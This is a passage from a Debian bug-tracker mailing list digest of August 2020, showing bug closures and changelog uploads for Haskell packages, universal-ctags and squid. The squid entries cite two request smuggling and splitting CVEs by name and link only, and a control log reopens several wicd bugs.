message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
968729: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968729
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: haskell-gi-pango
Version: 1.0.22-1
Severity: serious
Tags: ftbfs
The most recent binnmus of haskell-gi-pango in sid failed with
GI/Pango/Objects/Font.hs:670:9: error:
parse error on input ‘HarfBuzz.FeatureT.feature_t’
|
670 | Ptr HarfBuzz.FeatureT.feature_t -> -- features : TCArray False (-1) 2 (TInterface
(Name {namespace = "HarfBuzz", name = "feature_t"}))
| ^^^
make: *** [/usr/share/cdbs/1/class/hlibrary.mk:147: build-ghc-stamp] Error 1
dpkg-buildpackage: error: debian/rules build-arch subprocess returned exit
status 2
I also saw the same error in raspbian bullseye-staging and on the reproducible
builds tests for bullseye.
--- End Message ---
--- Begin Message ---
Source: haskell-gi-pango
Source-Version: 1.0.23-1
Done: Ilias Tsitsimpis
We believe that the bug you reported is fixed in the latest version of
haskell-gi-pango, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 968...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Ilias Tsitsimpis (supplier of updated haskell-gi-pango
package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512
Format: 1.8
Date: Sun, 23 Aug 2020 12:09:37 +0300
Source: haskell-gi-pango
Architecture: source
Version: 1.0.23-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Haskell Group
Changed-By: Ilias Tsitsimpis
Closes: 968729
Changes:
haskell-gi-pango (1.0.23-1) unstable; urgency=medium
.
* New upstream release (Closes: #968729)
Checksums-Sha1:
2c152d30168934b692297c8864ca8583ebe6a804 2801 haskell-gi-pango_1.0.23-1.dsc
1792ca2c5c609ed2d9defd6e4a5ed43eeb4516c8 12695
haskell-gi-pango_1.0.23.orig.tar.gz
daf0970c3e5c8bd469bb22d5222054f4da49d1ef 1768
haskell-gi-pango_1.0.23-1.debian.tar.xz
43bdff967a1a10efb3bdca6b8fc04e3363e64685 5572
haskell-gi-pango_1.0.23-1_source.buildinfo
Checksums-Sha256:
2e44b9a18d09d1ace95d89bf65493fffd39dd6db07b62750edd3bdde3eb9 2801
haskell-gi-pango_1.0.23-1.dsc
89de8d4cf0911e471685ba9a1a0a72033748aaefa0e6f14ac0bf37fced40f7a2 12695
haskell-gi-pango_1.0.23.orig.tar.gz
b60d10e64a2c559e617a505d3102f004b67cc5241e7123e685cf93ef52eee0b5 1768
haskell-gi-pango_1.0.23-1.debian.tar.xz
2f889bd4a8e5406716738ea20d7d6638fcc4c5b94373fbcefcc01a61b347cce0 5572
haskell-gi-pango_1.0.23-1_source.buildinfo
Files:
46da8e3bedacbf5ec9960c912db6d7b5 2801 haskell optional
haskell-gi-pango_1.0.23-1.dsc
75234b5260f70da43b1f250ffaa4e383 12695 haskell optional
haskell-gi-pango_1.0.23.orig.tar.gz
b7624afaa0fd09bf5fc3792c71721ca1 1768 haskell optional
haskell-gi-pango_1.0.23-1.debian.tar.xz
97079d879cf45fcfd6077f73ef38d105 5572 haskell optional
haskell-gi-pango_1.0.23-1_source.buildinfo
-BEGIN PGP SIGNATURE-
iQJIBAEBCgAyFiEEJ9c8pfW11+AaUTb116hngMxkQDwFAl9D7foUHGlsaWFzdHNp
QGRlYmlhbi5vcmcACgkQ16hngMxkQDzSiA//Q+wVL9pOwOjbFCEBmCviFRtBG4iu
jSP16J306YbRz3IvLIGFo1pWI8kckrzxePLOAgxTAwHq5CAFkrUWMVRXTi73ZWCR
qUPFADjpMHpvGKRpDXwmXpmx391sPajT5zn4NHbuPNe0BEuBYiyQv28lE/jXs1P9
iAl7A8p5YhLBJA33zxK7LlUuu2rABBvrKA3ouON160JO26yebODcSAbiVD2CGxdh
H2vGDfDzFOZaELEVSrFUstpUNViMvJkpc4ac6DiEvK+cNGQbh/8+Mq6W0iJ8QB7j
FWoe16EkVG7kqAJ9pECwsoNzasW5ad35R9o/FqmbRH03E314xCCcdIGz/WCrRbV/
/Pm94EaC+KxJsjyNMWfOP+7fLQJSfEk1xF/09wSTMN5EUAcD87o09OmQsDsVKmGk
IA7Mcc2t+O+W4IcpT6NyTx+MMkGlROyyI7UyGlwyHvzLBtndWDUC80VSHaf6Yl6n
fspdMB7q/JL25nSYGqiZjs8RX4P1InvqOippMly3rcZqbrhou09iVYNU9wqL1mmr
pvT2KV8bfGj3qrwdZ3zRQclGiz0UtaBmJH9FuU62x/Jg++Iaj65q5MfK2tJFJcHW
hxHjhkAYR335yk5xGqZGYQWqd9GkZmG4RrGO9wjQ0muDmteykmxHj0ThJivASI9m
QwOyAm8ahBc/tTw=
=kzQ0
-END PGP SIGNATURE End Message ---
Bug#968902: marked as done (gitit: libghc-hoauth2-dev (< 1.12) but 1.14.0-1 is to be installed)
Your message dated Mon, 24 Aug 2020 16:48:36 + with message-id and subject line Bug#968902: fixed in gitit 0.13.0.0+dfsg-2 has caused the Debian Bug report #968902, regarding gitit: libghc-hoauth2-dev (< 1.12) but 1.14.0-1 is to be installed to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 968902: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968902 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: gitit Version: 0.13.0.0+dfsg-1 Severity: serious Tags: ftbfs The following packages have unmet dependencies: builddeps:gitit : Depends: libghc-hoauth2-dev (< 1.12) but 1.14.0-1 is to be installed --- End Message --- --- Begin Message --- Source: gitit Source-Version: 0.13.0.0+dfsg-2 Done: Ilias Tsitsimpis We believe that the bug you reported is fixed in the latest version of gitit, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 968...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Ilias Tsitsimpis (supplier of updated gitit package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Sun, 23 Aug 2020 16:45:09 +0300 Source: gitit Architecture: source Version: 0.13.0.0+dfsg-2 Distribution: unstable Urgency: medium Maintainer: Debian Haskell Group Changed-By: Ilias Tsitsimpis Closes: 968902 Changes: gitit (0.13.0.0+dfsg-2) unstable; urgency=medium . * Patch for newer dependencies (Closes: #968902) Checksums-Sha1: e5fc31e14393f864dd7821dbd25e4092ebdfb7c0 6127 gitit_0.13.0.0+dfsg-2.dsc b23fa52c831e69c67f26cb35ad7a7be38dd78d14 10996 gitit_0.13.0.0+dfsg-2.debian.tar.xz 267decc96c32cb741c1fea9c854e63f5302c46aa 5738 gitit_0.13.0.0+dfsg-2_source.buildinfo Checksums-Sha256: 9cd68d77ec4f6a320414348eb37703fb186e822c0b9b77294fb0bac580075a1e 6127 gitit_0.13.0.0+dfsg-2.dsc 31192baa695461779943c2a959f645eb0eaf57b391908e91a1eff97ff84f64bb 10996 gitit_0.13.0.0+dfsg-2.debian.tar.xz f47a8f34cd13437807992563c33483c58b9992e8d6c7ef0eabd9876704e38ccd 5738 gitit_0.13.0.0+dfsg-2_source.buildinfo Files: f7d60b5a4fb867e84b905335576b8aaa 6127 haskell optional gitit_0.13.0.0+dfsg-2.dsc 86274431684428f33d960072dddb545c 10996 haskell optional gitit_0.13.0.0+dfsg-2.debian.tar.xz fc3e6259c4525677ea5eefe99b690503 5738 haskell optional gitit_0.13.0.0+dfsg-2_source.buildinfo -BEGIN PGP SIGNATURE- iQJIBAEBCgAyFiEEJ9c8pfW11+AaUTb116hngMxkQDwFAl9D7ZMUHGlsaWFzdHNp QGRlYmlhbi5vcmcACgkQ16hngMxkQDyrChAAhj05B/MJxrF2rW/bKDHwXYmFQOzo /xShmgp08QsUdv5D3KqICaP/vzpqMcE+hzy1Ag5llQhgAJ7SFcIlARszHZcXWUNo opTR2C1NjTpOAgjhbfbYCWB88p8LLTw9Baq4CvZ4axtypMiTQvcKA0USbGeTxxaz tKf8hppXmz54GAvdCidP6bbXfvHhs2S4LhE5Ob7+OS5wb3ZhreAr/ysUlfjENA0p 17+Ee3KgQC9HsLMjon98WBanO9xgGmDWOskkRwbl3q8iY4m+EnAgw58WXmrGpboa 1XQa80N5giF2GK6z7MURqnqhMoO23mZzf7ooXaPknf/7WW/fZP2Tu+wqgjIx3F8x qR4riq7UQF2cB6o1ioJ+ijG7toE1lEGOhafl2AlvlLF9Tr3LigYtL7ObcL9N317S mTg86OjSLWT0koppGPnwkMnpGrkMYlzOae0ss3VMoZFZ6YAos+eodGwUlflQNGpt cJ9AOXgdde9QM+XH5r3JjoCxUNenK8hTW0nxWFO7LkZfuTUbJAzpT9ynNVTpJZHZ n4hkGzF7o7YkoQMMIJOjOHG9eWRQ3Pb5u0PPQGcpLBVa1TM5iEv3OAguxLAqogq3 EGttTixyh8ws9kHMX6rbFQaF/mi9xmestZHYc8nfp7eKw3XzJAkO4+kBWl6TE9iL pk5iR/UNaElOzQM= =D2W6 -END PGP SIGNATURE End Message ---
Bug#968901: marked as done (haskell-hakyll FTBFS: Encountered missing or private dependencies: file-embed >=0.0.10.1 && <0.0.12)
Your message dated Mon, 24 Aug 2020 16:50:33 + with message-id and subject line Bug#968901: fixed in haskell-hakyll 4.13.4.0-2 has caused the Debian Bug report #968901, regarding haskell-hakyll FTBFS: Encountered missing or private dependencies: file-embed >=0.0.10.1 && <0.0.12 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 968901: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968901 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-hakyll Version: 4.13.4.0-1 Severity: serious Tags: ftbfs https://buildd.debian.org/status/package.php?p=haskell-hakyll=sid ... hlibrary.setup: Encountered missing or private dependencies: file-embed >=0.0.10.1 && <0.0.12 make: *** [/usr/share/cdbs/1/class/hlibrary.mk:142: configure-ghc-stamp] Error 1 --- End Message --- --- Begin Message --- Source: haskell-hakyll Source-Version: 4.13.4.0-2 Done: Ilias Tsitsimpis We believe that the bug you reported is fixed in the latest version of haskell-hakyll, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 968...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Ilias Tsitsimpis (supplier of updated haskell-hakyll package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Sun, 23 Aug 2020 16:41:38 +0300 Source: haskell-hakyll Architecture: source Version: 4.13.4.0-2 Distribution: unstable Urgency: medium Maintainer: Debian Haskell Group Changed-By: Ilias Tsitsimpis Closes: 968901 Changes: haskell-hakyll (4.13.4.0-2) unstable; urgency=medium . * Patch for newer dependencies (Closes: #968901) Checksums-Sha1: 4c8a3a6ddae3bf29fab0e7428ac53e631d72ea76 5862 haskell-hakyll_4.13.4.0-2.dsc 805fae76bbc0e09a167da2a304abdb098b801935 5280 haskell-hakyll_4.13.4.0-2.debian.tar.xz 3ae082c23365d63ba539dbd142ee1821238f9c38 5909 haskell-hakyll_4.13.4.0-2_source.buildinfo Checksums-Sha256: 598262ff5c46d799d08d9c58ebe63cf819c712eeb2019e5a36266e89977f 5862 haskell-hakyll_4.13.4.0-2.dsc b498a0a823c3b51cc329e0cd69638513f95e5732c9c1249dbb8118f1db1cbe1a 5280 haskell-hakyll_4.13.4.0-2.debian.tar.xz 359c0dbb125b214a5c2cb9e533e8425644768615331b4f86199e371c2aa8f49b 5909 haskell-hakyll_4.13.4.0-2_source.buildinfo Files: 731fb53d749dc04cbbd5eb033c2b115e 5862 haskell optional haskell-hakyll_4.13.4.0-2.dsc 5967880f02d638c1ffb8e84d1279df0d 5280 haskell optional haskell-hakyll_4.13.4.0-2.debian.tar.xz 476d20cd404c3939a93267d9fcfc80ac 5909 haskell optional haskell-hakyll_4.13.4.0-2_source.buildinfo -BEGIN PGP SIGNATURE- iQJIBAEBCgAyFiEEJ9c8pfW11+AaUTb116hngMxkQDwFAl9D7hAUHGlsaWFzdHNp QGRlYmlhbi5vcmcACgkQ16hngMxkQDw4xw//aJoIygW9GbrZArIdzZ7wmfWjVbDv cABMmKh5OUG4lq2bajLJFtLqRV8iILI/MSq1R2UtYugn9xzadJU9Ydyvzy1jAvae N+BgoikKn8rK9oyv4uM2HELIb6LVSYvUoqbY3z8YsMoBEIHl6kvMtmmIuR2kgX3o I5hQqMtSkLhBz1WfxfmlCU/Gs9LKDp/8LxJXZyXoEfBnKgp2fRxsi7OTnE1jdexN vxEEFdvwPxPYaiRJT6y9Xjnv448m92Ny3etWCX0B5RJePsZu2JfkBkWDgQ8voBm/ Rc850TB/kGm3WJKhGkFBHWw1t8q0MmPshHMw/mSXe3u5MrSKptb5uBz4ovC/7ddM p8CKYDNokmfyzO9oZaLGHT/+Td6pXHkAmxx3m53hOAVYw75i2iRjZVb4UdFSyUG/ 9KeJ8WtxN2Me3N/msPSFnLjbJWuZYzc8RsWywqlDBIotWI28ANjYV/k7bKNL0xMG c6xOxw2mEgNQD9qJRfddnVI216ARRUMiPoGWDNzbWT6FhSqPV6OHmeUFKefeZN+1 6pWEeHI7MWOMO+ckOA/1coLCISyC2DBPmLjjatf2avKuCDiw/h7xPQZsnAYGzWPa 3UGpaNulMbS0Fxvo6dUWjD1gxK21DRXIlqghWyulS1S0rvrhNKiiHl95/ewqMGqO zca5CVZZsVPtqq8= =mt30 -END PGP SIGNATURE End Message ---
Processed (with 1 error): limit source to wicd, reopening 964450, reopening 964011, reopening 956159, reopening 959476 ...
Processing commands for cont...@bugs.debian.org:
> # Reopen (hopefully) all bug reports which were unexdpectedly closed due to
> #968033 which are very likely still valid against src:wicd in Debian
> Experiemtnal
> limit source wicd
Limiting to bugs with field 'source' containing at least one of 'wicd'
Limit currently set to 'source':'wicd'
> reopen 964450
Bug #964450 {Done: Debian FTP Masters }
[wicd-daemon] wicd-daemon: "Forced disconnect on" though I did not disconnect
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 964011
Bug #964011 {Done: Debian FTP Masters }
[wicd-daemon] wicd-daemon: should be ordered After=network-pre.target
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 956159
Bug #956159 {Done: Debian FTP Masters }
[wicd-gtk] Package depends on python-glade2 python-gtk2, which are no longer in
sid
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 959476
Bug #959476 {Done: Debian FTP Masters }
[wicd-daemon] wicd-daemon: spams the logs with "Throttling autoreconnect"
messages
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 951125
Bug #951125 {Done: Debian FTP Masters }
[python3-wicd] python3-wicd: No way to get the IPv6
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 951123
Bug #951123 {Done: Debian FTP Masters }
[python3-wicd] python3-wicd: Unable to get the ssid (external backend)
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 951121
Bug #951121 {Done: Debian FTP Masters }
[python3-wicd] python3-wicd: Unable to load ioctl backend (Python 2/3 syntax
issue)
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 946380
Bug #946380 {Done: Debian FTP Masters }
[wicd-gtk] wicd-gtk does not find gtk modules
Bug #947589 {Done: Debian FTP Masters }
[wicd-gtk] wicd-gtk: [experimental] wicd-gtk probably broken: no GTK
dependency, still uses 'import gtk'
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 947589
Bug #947589 [wicd-gtk] wicd-gtk: [experimental] wicd-gtk probably broken: no
GTK dependency, still uses 'import gtk'
Bug #946380 [wicd-gtk] wicd-gtk does not find gtk modules
Bug 947589 is not marked as done; doing nothing.
> reopen 949300
Bug #949300 {Done: Debian FTP Masters }
[wicd-gtk] wicd-gtk: does not permit passwordless private keys when using
EAP-TLS
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 935661
Bug #935661 {Done: Debian FTP Masters }
[wicd-gtk] wicd-gtk: Recommends obsolete kde-runtime
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 932094
Bug #932094 {Done: Debian FTP Masters }
[wicd-daemon] wicd-daemon: some log messages do not appear correctly and are
mixed up with other log messages
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions 1.7.4+tb2-6+rm.
> reopen 943933
Bug #943933 {Done: Debian FTP Masters } [wicd]
wicd: After update/upgrade a new type of window appeared in my system tray
concerning my wifi connections. Although, my ifi worked ok, the new gui did not
appear the names of wifi networks. After some searching I found out that the
names of my devices (wifi and ethernet) changed. I spend to much time searching
for this. So I add the name under the wireless interface tab and got up again
my
Bug#956349: marked as done (universal-ctags FTBFS on 32bit: test failures)
Your message dated Mon, 24 Aug 2020 18:13:29 +0200 with message-id <20200824161329.GA633404@sokka.flat11.house> and subject line Re: Bug#956349: universal-ctags FTBFS on 32bit: test failures has caused the Debian Bug report #956349, regarding universal-ctags FTBFS on 32bit: test failures to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 956349: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=956349 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: universal-ctags Version: 0+git20191013-1 Severity: serious Tags: ftbfs Control: block 953699 by -1 https://buildd.debian.org/status/package.php?p=universal-ctags ... Category: parser-varlink.r Testing varlink-enum as Varlink [31mfailed[39m (unexpected exit status: 134) Shrinking ./Units/parser-varlink.r/varlink-enum.d/input.varlink as Varlink [0729]...failed(134) [0 0]...ok(0) [0729]...failed(134) [0365]...failed(134) [0183]...failed(134) [0 92]...ok(0) [0137]...failed(134) [0115]...ok(0) [0126]...failed(134) [0121]...failed(134) [0119]...ok(0) [0120]...failed(134) [0120]...failed(134) [60 120]...ok(0) [30 120]...ok(0) [15 120]...ok(0) [8120]...ok(0) [5120]...ok(0) [4120]...ok(0) [3120]...ok(0) [2120]...ok(0) [1120]...ok(0) Minimal badinput: /<>/Units/parser-varlink.r/varlink-enum.d/SHRINK-Varlink.tmp # Taken from https://github.com/varlink/varlink.github.io/pull/12 interface org.example.complex type Enum (enum, b, c) Testing varlink-type-method-error as Varlink[31mfailed[39m (unexpected exit status: 134) Shrinking ./Units/parser-varlink.r/varlink-type-method-error.d/input.varlink as Varlink [0565]...failed(134) [0 0]...ok(0) [0565]...failed(134) [0283]...ok(0) [0424]...failed(134) [0354]...failed(134) [0319]...failed(134) [0302]...failed(134) [0294]...failed(134) [0290]...failed(134) [0288]...failed(134) [0287]...failed(134) [0286]...failed(134) [0285]...failed(134) [0284]...failed(134) [0284]...failed(134) [142 284]...ok(0) [71 284]...ok(0) [36 284]...ok(0) [19 284]...ok(0) [11 284]...ok(0) [7284]...ok(0) [5284]...ok(0) [4284]...ok(0) [3284]...ok(0) [2284]...ok(0) [1284]...ok(0) Minimal badinput: /<>/Units/parser-varlink.r/varlink-type-method-error.d/SHRINK-Varlink.tmp # Taken from https://github.com/varlink/rust/blob/master/examples/more/src/org.example.more.varlink # Example Varlink service interface org.example.more # Enum, returning either start, progress or end # progress: [0-100] type State ( start: ?bool, progress: ?int, end: ?bool ) ... Summary (see CMDLINE.tmp to reproduce without test harness) #passed:1009 #FIXED: 2 parser-puppetManifest.r/puppet-tag parser-puppetManifest.r/puppet-tagged #FAILED (broken args.ctags?): 0 #FAILED (unexpected-exit-status): 2 parser-varlink.r/varlink-enum parser-varlink.r/varlink-type-method-error #FAILED (unexpected-output):0 #TIMED-OUT (10s)0 #skipped (features):2 simple-ctags-aspell parser-ant.r/regex-based #skipped (languages): 0 #known-bugs:20 parser-autoconf.r/nested-block.ac parser-c.r/attr-attached-to-array-failed parser-c.r/extern_variable.h parser-cxx.r/cxx-keywords-as-c-identifiers parser-cxx.r/cxx-keywords-as-c-identifiers parser-cxx.r/namespace-and-scope parser-cxx.r/templates4 parser-cxx.r/variables-prototypes.cpp parser-elixir.r/elixir-exceptions parser-itcl.r/fq-with-namespace parser-java.r/anonymous-class parser-java.r/bug1777344.java parser-javascript.r/js-scope-resolution parser-m4.r/m4-quotestring parser-perl.r/curly-bracket parser-puppetManifest.r/puppet-virtualresources parser-python.r/newlines-cr
Bug#968934: marked as done (squid: CVE-2020-15810: SQUID-2020:10 HTTP(S) Request Smuggling)
Your message dated Mon, 24 Aug 2020 15:49:31 + with message-id and subject line Bug#968934: fixed in squid 4.13-1 has caused the Debian Bug report #968934, regarding squid: CVE-2020-15810: SQUID-2020:10 HTTP(S) Request Smuggling to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 968934: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968934 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: squid Version: 4.12-1 Severity: grave Tags: security upstream Justification: user security hole X-Debbugs-Cc: car...@debian.org, Debian Security Team Hi, The following vulnerability was published for squid. CVE-2020-15810[0]: | SQUID-2020:10 HTTP(S) Request Smuggling If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2020-15810 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15810 [1] https://github.com/squid-cache/squid/security/advisories/GHSA-3365-q9qx-f98m [2] http://www.squid-cache.org/Versions/v4/changesets/SQUID-2020_10.patch Please adjust the affected versions in the BTS as needed. Regards, Salvatore --- End Message --- --- Begin Message --- Source: squid Source-Version: 4.13-1 Done: Luigi Gangitano We believe that the bug you reported is fixed in the latest version of squid, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 968...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Luigi Gangitano (supplier of updated squid package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Mon, 24 Aug 2020 17:27:54 +0200 Source: squid Architecture: source Version: 4.13-1 Distribution: unstable Urgency: high Maintainer: Luigi Gangitano Changed-By: Luigi Gangitano Closes: 968101 968932 968933 968934 Changes: squid (4.13-1) unstable; urgency=high . [ Amos Jeffries ] * New Upstream Release - Fixes security issue SQUID-2020:8 (CVE-2020-15811) (Closes: #968932) - Fixes security issue SQUID-2020:9 (Closes: #968933) - Fixes security issue SQUID-2020:10 (CVE-2020-15810) (Closes: #968934) . * debian/squid.rc: Fix several typos (Closes: #968101) Checksums-Sha1: 0733406e2637dc480a7dea9e787ade3b2353b3e9 2888 squid_4.13-1.dsc cac95c18789e9ecd6620c2f278fc3900498c065b 2452752 squid_4.13.orig.tar.xz 261059cb4dbcc5e4dae7961c9bf334ba6c24cc4f 1194 squid_4.13.orig.tar.xz.asc f3c9c5f32231a326a38ea307fcabf21531097e69 40080 squid_4.13-1.debian.tar.xz bd78e2341136ec39cec4b1c72b9d1373e2d8a7da 8891 squid_4.13-1_amd64.buildinfo Checksums-Sha256: b4172add09b63869397da29f499a0d0bb415eef16641536f99331503197b 2888 squid_4.13-1.dsc 6891a0f540e60779b4f24f1802a302f813c6f473ec7336a474ed68c3e2e53ee0 2452752 squid_4.13.orig.tar.xz 3e145c4af6322ff55bf299ff166c824c092ba2b62f822c8fdd7f885ec90c2ad2 1194 squid_4.13.orig.tar.xz.asc af3b98049828c63bc2f791b24f0db71f09ed418b9b255cb6c581aa8566bc39e4 40080 squid_4.13-1.debian.tar.xz 378a262895db0a7c4139ad29c213442723d59740efa4a4076caebe4e7619ba98 8891 squid_4.13-1_amd64.buildinfo Files: 6627effd8dc619b99008bd7fec8b1c0a 2888 web optional squid_4.13-1.dsc 492e54afc15821141ff1d1d9903854d6 2452752 web optional squid_4.13.orig.tar.xz 4be8191f3ce8e4891bc371cc1e72327d 1194 web optional squid_4.13.orig.tar.xz.asc f7634e5b5f28dc1a1bd4d73667e0f9d0 40080 web optional squid_4.13-1.debian.tar.xz eba3db2deafc987c6c406ad73becb14c 8891 web optional squid_4.13-1_amd64.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEEjUhaNf8ebreQ5Q9tAoTyDCupfO0FAl9D3vEACgkQAoTyDCup fO1spg//cmouO8WtaKyf6vpQ9FurVO/9eVGD3TN1HqqEjChfkboYzKkhZiUKl0OR CmH1mVE2RoFA3pix2twfLJlxD+/K3EkcQojW7uTKaTMSNgUT7Uum9WUhk9eBWEvz LFApn4otZJqqt6OnrU5WHYW4T04dv3hdpSkv+jCYeT8auvVoBnimxyK3lXcffwWc PwhjIKc7JM/C6dSp9KUJKFtSOaxODfgKREwzVC1mHfHvwdAbClAETZuFvRItCuMj syJwRhmmdNodDndZaD5bfqErlwU1MaBJ+5iOvRzCZPEI4d+0QnrJVcq7sX1T5RJp pjQ7tozLErN71v3V5jbgApW471X8hPMr4Lt4gIHZm3Fu5kIEDCrSed8S/Be9qV/1 zwh60/ubA1zVecTvDVMgca5+EWtXcFquvRag1rSSWOLHD4lHwKLtQ2Zm2Ydx8pHF sdVAJZelbgYk8RYJNnP5HaZult9yYvZkLMMwgxjDesfHAMKFaVm9dYmkMTeFuHYt
Bug#968932: marked as done (squid: CVE-2020-15811: SQUID-2020:8 HTTP(S) Request Splitting)
Your message dated Mon, 24 Aug 2020 15:49:31 + with message-id and subject line Bug#968932: fixed in squid 4.13-1 has caused the Debian Bug report #968932, regarding squid: CVE-2020-15811: SQUID-2020:8 HTTP(S) Request Splitting to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 968932: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968932 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: squid Version: 4.12-1 Severity: grave Tags: security upstream X-Debbugs-Cc: car...@debian.org, Debian Security Team Hi, The following vulnerability was published for squid. CVE-2020-15811[0]: | SQUID-2020:8 HTTP(S) Request Splitting If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2020-15811 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15811 [1] https://github.com/squid-cache/squid/security/advisories/GHSA-c7p8-xqhm-49wv [2] http://www.squid-cache.org/Versions/v4/changesets/SQUID-2020_8.patch Please adjust the affected versions in the BTS as needed. Regards, Salvatore --- End Message --- --- Begin Message --- Source: squid Source-Version: 4.13-1 Done: Luigi Gangitano We believe that the bug you reported is fixed in the latest version of squid, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 968...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Luigi Gangitano (supplier of updated squid package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Mon, 24 Aug 